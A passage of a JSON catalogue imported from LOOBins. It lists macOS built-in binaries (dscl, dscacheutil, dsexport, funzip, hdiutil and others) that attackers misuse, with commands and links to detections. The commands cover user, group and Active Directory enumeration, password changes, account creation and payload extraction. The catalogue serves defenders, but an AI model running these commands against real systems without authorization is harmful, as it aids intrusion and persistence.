         "https://jonathanmumm.com/tech-it/mdns-bonjour-bible-common-service-strings-for-various-vendors/"
       ]
     },
     {
       "id": "loobins:dns-sd:53dfc1310c71878f",
       "toolId": "loobins:dns-sd",
       "toolName": "dns-sd",
       "name": "Discover web hosts",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dns-sd -B _http._tcp",
       "description": "Hosts serving web services can be discovered using the _http._tcp service string.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dns-sd"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect dns-sd discovery activity",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dns-sd.yml",
         "https://themittenmac.com/what-does-apt-activity-look-like-on-macos",
         "https://jonathanmumm.com/tech-it/mdns-bonjour-bible-common-service-strings-for-various-vendors/"
       ]
     },
     {
       "id": "loobins:dns-sd:fb0f781dd1ea98d0",
       "toolId": "loobins:dns-sd",
       "toolName": "dns-sd",
       "name": "Discover hosts serving remote screen sharing",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dns-sd -B _rfb._tcp",
       "description": "Hosts serving remote screen sharing can be discovered using the _rfb._tcp service string.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dns-sd"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect dns-sd discovery activity",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dns-sd.yml",
         "https://themittenmac.com/what-does-apt-activity-look-like-on-macos",
         "https://jonathanmumm.com/tech-it/mdns-bonjour-bible-common-service-strings-for-various-vendors/"
       ]
     },
     {
       "id": "loobins:dns-sd:917b3a1e5a1ef7f0",
       "toolId": "loobins:dns-sd",
       "toolName": "dns-sd",
       "name": "Discover hosts serving SMB",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dns-sd -B _smb._tcp",
       "description": "Hosts serving SMB can be discovered using the _smb._tcp service string.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dns-sd"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect dns-sd discovery activity",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/dns_service_discovery"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dns-sd.yml",
         "https://themittenmac.com/what-does-apt-activity-look-like-on-macos",
         "https://jonathanmumm.com/tech-it/mdns-bonjour-bible-common-service-strings-for-various-vendors/"
       ]
     },
     {
       "id": "loobins:dscacheutil:93caef4af761b12e",
       "toolId": "loobins:dscacheutil",
       "toolName": "dscacheutil",
       "name": "Lookup  a user",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscacheutil -q user -a name <USER_NAME>",
       "description": "List the user information",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscacheutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscacheutil.yml",
         "https://macosbin.com/bin/dscacheutil",
         "https://ss64.com/osx/dscacheutil.html"
       ]
     },
     {
       "id": "loobins:dscacheutil:f6160d0f4f84e6d3",
       "toolId": "loobins:dscacheutil",
       "toolName": "dscacheutil",
       "name": "Lookup all users",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscacheutil -q user",
       "description": "List all user information",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscacheutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscacheutil.yml",
         "https://macosbin.com/bin/dscacheutil",
         "https://ss64.com/osx/dscacheutil.html"
       ]
     },
     {
       "id": "loobins:dscl:305c394aed388f3e",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Local user enumeration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl . -list /Users\ndscl . list /Users\ndscl . ls /Users",
       "description": "Enumerate all local users.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:87ecd9f8ac4a7b04",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Active Directory user enumeration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl \"/Active Directory/TEST/All Domains\" -list /Users\ndscl \"/Active Directory/TEST/All Domains\" list /Users\ndscl \"/Active Directory/TEST/All Domains\" ls /Users",
       "description": "Enumerate all Active Directory users.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:781562790fe8a5bc",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Local user information gathering",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl . -read /Users/$USERNAME\ndscl . read /Users/$USERNAME\ndscl . cat /Users/$USERNAME",
       "description": "Gain useful local user information such as when their password was last set, their keyboard layout, their avatar, their home directory, UID and default shell.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:0aaf21612b3bff0f",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Active Directory user information gathering",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl \"/Active Directory/TEST/All Domains\" -read /Users/$USERNAME\ndscl \"/Active Directory/TEST/All Domains\" read /Users/$USERNAME\ndscl \"/Active Directory/TEST/All Domains\" cat /Users/$USERNAME",
       "description": "Gain useful Active Directory user information such as when their password was last set, their keyboard layout, their avatar, their home directory, UID and default shell.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:bd588af20e609166",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Local group enumeration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl . -list /Groups\ndscl . list /Groups\ndscl . ls /Groups",
       "description": "Enumerate all local groups.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:df32b72c44b8006f",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Active Directory group enumeration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl \"/Active Directory/TEST/All Domains\" -list /Groups\ndscl \"/Active Directory/TEST/All Domains\" list /Groups\ndscl \"/Active Directory/TEST/All Domains\" ls /Groups",
       "description": "Enumerate all Active Directory groups.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:c4ea898c6011f465",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Local group information gathering",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl . -read /Groups/$GROUPNAME\ndscl . read /Groups/$GROUPNAME\ndscl . cat /Groups/$GROUPNAME",
       "description": "Gain useful local group information such as which users belong to that group, SMB SIDs and group ID. Especially useful for the \"admin\" group.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:865a049f12f3d6ec",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Active Directory group information gathering",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl \"/Active Directory/TEST/All Domains\" -read /Groups/$GROUPNAME\ndscl \"/Active Directory/TEST/All Domains\" read /Groups/$GROUPNAME\ndscl \"/Active Directory/TEST/All Domains\" cat /Groups/$GROUPNAME",
       "description": "Gain useful Active Directory group information such as which users belong to that group, SMB SIDs and group ID. Especially useful for the \"admin\" group.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:78cc0d939d564e02",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Computer enumeration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl  \"/Active Directory/TEST/All Domains\" -list /Computers\ndscl  \"/Active Directory/TEST/All Domains\" list /Computers\ndscl  \"/Active Directory/TEST/All Domains\" ls /Computers",
       "description": "Enumerate all computers in an Active Directory.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:ea5053a7d3a10be1",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Share enumeration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl . -list /SharePoints\ndscl . list /SharePoints\ndscl . ls /SharePoints",
       "description": "Enumerate all shares.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:f13b20540d299c2d",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Password policy discovery",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dscl . -read /Config/shadowhash\ndscl . read /Config/shadowhash\ndscl . cat /Config/shadowhash",
       "description": "Gain password policy information",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:d03f29ced7de9fa7",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Change a user password",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Persistence"
       ],
       "nativeCategory": [
         "Persistence"
       ],
       "command": "dscl . passwd /Users/$USERNAME oldPassword newPassword",
       "description": "Change an existing user's password.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dscl:f2b5add196364c9e",
       "toolId": "loobins:dscl",
       "toolName": "dscl",
       "name": "Local account creation",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Persistence"
       ],
       "nativeCategory": [
         "Persistence"
       ],
       "command": "dscl -create",
       "description": "Create a local account",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dscl"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Jamf Protect: Detect user account creation with dscl",
           "value": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/user_created_by_dscl"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dscl.yml",
         "https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming",
         "https://attack.mitre.org/techniques/T1136/001/"
       ]
     },
     {
       "id": "loobins:dsconfigad:fd9fa9501ea9dc2b",
       "toolId": "loobins:dsconfigad",
       "toolName": "dsconfigad",
       "name": "Retrieves the Active Directory configuration",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dsconfigad -show",
       "description": "Retrieves the Active Directory configuration",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/dsconfigad"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dsconfigad.yml",
         "https://macosbin.com/bin/dsconfigad",
         "https://www.unix.com/man-page/osx/8/dsconfigad/"
       ]
     },
     {
       "id": "loobins:dsconfigad:ccfb8e32a60568c7",
       "toolId": "loobins:dsconfigad",
       "toolName": "dsconfigad",
       "name": "Retrieves the Active Directory name",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Discovery"
       ],
       "command": "dsconfigad -show |awk '/Active Directory Domain/{print $NF}'",
       "description": "Retrieves the Active Directory name",
       "mitre": [],
       "fullPath": [
         "/usr/sbin/dsconfigad"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dsconfigad.yml",
         "https://macosbin.com/bin/dsconfigad",
         "https://www.unix.com/man-page/osx/8/dsconfigad/"
       ]
     },
     {
       "id": "loobins:dsexport:3d1f9656f3a0dec0",
       "toolId": "loobins:dsexport",
       "toolName": "dsexport",
       "name": "Export local host users",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Reconnaissance",
         "Discovery"
       ],
       "command": "dsexport local_users.txt /Local/Default dsRecTypeStandard:Users",
       "description": "Export the local host user information to a file",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dsexport"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dsexport.yml"
       ]
     },
     {
       "id": "loobins:dsexport:ff2f12c762222565",
       "toolId": "loobins:dsexport",
       "toolName": "dsexport",
       "name": "Export local host groups",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Discovery"
       ],
       "nativeCategory": [
         "Reconnaissance",
         "Discovery"
       ],
       "command": "dsexport local_groups.txt /Local/Default dsRecTypeStandard:Groups",
       "description": "Export the local host group information to a file",
       "mitre": [],
       "fullPath": [
         "/usr/bin/dsexport"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/dsexport.yml"
       ]
     },
     {
       "id": "loobins:funzip:bb11ba6035aeeb1b",
       "toolId": "loobins:funzip",
       "toolName": "funzip",
       "name": "extracts a ZIP or gzip file directly to output from archives or other piped input",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "tail -c <> $0 | funzip  -<password>",
       "description": "funzip is a macOS utility used to extract ZIP or gzip files directly to output. Malicious binaries misuse funzip, along with head or tail, to extract and reconstruct password-protected malicious payloads.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/funzip"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "No detections at time of publishing",
           "value": "No detections at time of publishing"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/funzip.yml",
         "https://www.uptycs.com/blog/threat-research-report-team/macos-bashed-apples-of-shlayer-and-bundlore",
         "https://linux.die.net/man/1/funzip"
       ]
     },
     {
       "id": "loobins:hdiutil:1871b601315b0601",
       "toolId": "loobins:hdiutil",
       "toolName": "hdiutil",
       "name": "Mount a malicious dmg file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "hdiutil mount malicious.dmg",
       "description": "Uses hdiutil to mount a malicious dmg file to the system.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/hdiutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Disk Image Mounting Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml"
         },
         {
           "type": "Sigma: Disk Image Creation Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/hdiutil.yml",
         "https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/"
       ]
     },
     {
       "id": "loobins:hdiutil:915ec2752516eb85",
       "toolId": "loobins:hdiutil",
       "toolName": "hdiutil",
       "name": "Mount a malicious dmg file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "hdiutil attach malicious.dmg",
       "description": "Uses hdiutil to mount a malicious dmg file to the system.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/hdiutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
       "verification": "Upstream reference",
       "compatibility": "Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.",
       "detection": [
         {
           "type": "Sigma: Disk Image Mounting Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml"
         },
         {
           "type": "Sigma: Disk Image Creation Via Hdiutil",
           "value": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml"
         }
       ],
       "references": [
         "https://github.com/infosecB/LOOBins/blob/399e3c4bdddb55c7dc49beb20bfe43490eac1184/LOOBins/hdiutil.yml",
         "https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/"
       ]
     },
     {
       "id": "loobins:hdiutil:18567315e0b4f271",
       "toolId": "loobins:hdiutil",
       "toolName": "hdiutil",
       "name": "Mount a malicious iso file",
       "source": "LOOBins",
       "platform": [
         "macOS"
       ],
       "capability": [
         "Execution"
       ],
       "nativeCategory": [
         "Execution"
       ],
       "command": "hdiutil mount malicious.iso",
       "description": "Uses hdiutil to mount a malicious iso file to the system.",
       "mitre": [],
       "fullPath": [
         "/usr/bin/hdiutil"
       ],
       "environment": [
         "Local host"
       ],
       "availability": "Built in",
